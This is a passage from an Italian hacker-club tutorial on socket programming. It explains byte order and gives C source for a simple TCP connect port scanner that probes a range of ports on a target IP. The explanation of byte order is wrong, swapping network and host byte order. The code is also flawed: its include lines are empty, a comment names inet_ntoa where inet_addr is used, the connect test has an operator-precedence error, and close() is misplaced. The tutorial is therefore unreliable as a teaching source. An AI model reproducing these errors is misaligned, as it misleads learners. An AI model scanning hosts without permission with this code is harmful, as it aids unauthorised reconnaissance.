i byte piu' significativi, ovvero se da sinistra o se da destra. Il Network Byte Order, ovvero la regola usata per comunicare, considera l'ultimo byte quello piu' significativo mentre l'Host Byte Order, quello usato dalla maggiornaza dei sistemi operativi, considera come piu' significativo il primo. quindi quello che per noi e' 127.0.0.1, quando scriviamo applicazioni in C (e penso anche per altri linguaggi) va trasformato in 1.0.0.127, e 212.216.10.20 diventa 20.10.216.212. Quindi avremo: 127.0.0.1 --> 1.0.0.127 = 256^3*1 +256^2*0 + 256*0 + 127 = 16777343 212.216.10.20 --> 20.10.216.212=20*256^3+10*256^2+216*256+212=336255188 255.255.255.255 resta invariato, anche al contrario e' sempre uguale. NB: non e' necessario ogni volta mettersi a fare questi calcoli, esistono funzioni apposite, per esempio: unsigned long int inet_addr(const char *cp); che da un ip scritto nella notazione standard visto come stringa di caratteri (ad esempio "127.0.0.1") calcola il corrispondente unsigned long gia' nel Network Byte Order (senza costringerci a troppe seghe mentali), mentre char *inet_ntoa(struct in_addr in); Dalla struttura sockaddr_in.in_addr (quella che contiene solo l'unsigned long int dell'ip, per intenderci) ci restituisce un puntatore ad una stringa di caratteri della notazione standard che ci piace tanto :) Lo stesso discorso si applica non solo per gli indirizzi ip, ma anche, per esempio, per in numero che identifica la porta alla quale ci si vuole collegare, che va scritta nel Network Byte Order. Per non costringerci ad inutili calcoli su come traformare un unsigned short int (be', dai, nulla di complicato, basta scriverlo in base 256 e invertire i due numeri) esistono anche qui funzioni apposite, ad esempio: unsigned short int htons(unsigned short int hostshort); il cui nome, htons, significa Host_TO_Network_Short, che useremo per convertire il numero della porta dall'Host Byte Order (23, 80, 31337) al Network Byte Order (5888, 20480, 27002) -------[ Let's go Ok, mi sembra di aver detto quasi tutto cio' che serve sapere per poter scrivere un semplice port-scanner, quindi iniziamo :-) Lo scrivo direttamente come codice, commentando le varie spiegazioni, in modo tale che sia subito compilabile senza dover controllare riga per riga alla ricerca di commenti da cancellare: ------------------------ // questi sono gli include standard che servono per questo programma // per sapere per ogni funzione quale libreria e' necessaria, le man pages // sono un ottimo aiuto #include #include #include // nota: stando alle man pages, i file include da aggiungere sarebbero // molti di piu', ma spesso capita che siano ridondanti: ad esempio // in sys/socket.h c'e' gia' la riga "#include ", quindi // e' abbastanza inutile metterla anche qui main(int argn, char **argv) { // cominciamo a dichiarare le variabili prima descritte struct sockaddr_in indirizzo; int porta, sock, z; // un controllo sull'input evita antiestetici seg.fault :) if (argn!=4) {printf("\nUsage: %s " "\n",argv[0]); exit(0);} // ora inizia subito il ciclo che fara' scannare tutte le porte comprese // tra le due specificate nella command line for (porta=atoi(argv[2]); porta<=atoi(argv[3]); porta++) { // creo il socket con una verifica di eventuali errori, e se ritorna un // valore uguale a "-1" si e' verificato un errore, altrimenti... if ((sock=socket(AF_INET, SOCK_STREAM, 0))==-1) perror("Socket:"); else { //... comincio a riempire i campi della struttura sockaddr_in // nota che uso inet_ntoa() con l'ip scritto nella riga di comando // e htons(porta) per la questione del byte order prima descritta // Tale struttura ricordo che sempre in riferimento all'analogia con // il programmino che cerca di aprire i file, fa le veci del nome del file // comprensivo di modalita' in cui aprirlo e leggerlo indirizzo.sin_family=AF_INET; indirizzo.sin_addr.s_addr=inet_addr(argv[1]); indirizzo.sin_port=htons(porta); // cerco di instaurare la connessione (analoga a fopen() ), // e se questa avviene... if (z=connect(sock,(struct sockaddr*) &indirizzo, sizeof(indirizzo))==0) // ... avviso l'utente con un printf() printf ("\nfound port %d open!", porta); // infine, finito il singolo ciclo, chiudo il socket che ormai non serve // piu', esattemante come quando chiudo un file che ho appena letto } close (sock); } } ------------------------ Non sembra poi cosi' difficile vero? :-) -------[ Conclusioni Ok, con questo breve tutorial un lettore estraneo alla programmazione in ambiente di networking ma con solo una discreta conoscenza del C dovrebbe aver almeno afferrato i concetti base su come funziona il tutto. Il passo successivo e' la lettura di una buona guida (come gia' accennato prima la "Beej's Guide to Network Programming" -http://www.ecst.csuchico.edu/~beej/guide/net- e' fatta molto bene, ma non e' l'unica, basta una connessione ad altavista e cercare "socket tutorial" o "sockets tutorial") e tante prove. Buono studio :) --[ fritz ]-- Club SpiPPoLaTorI www.spippolatori.com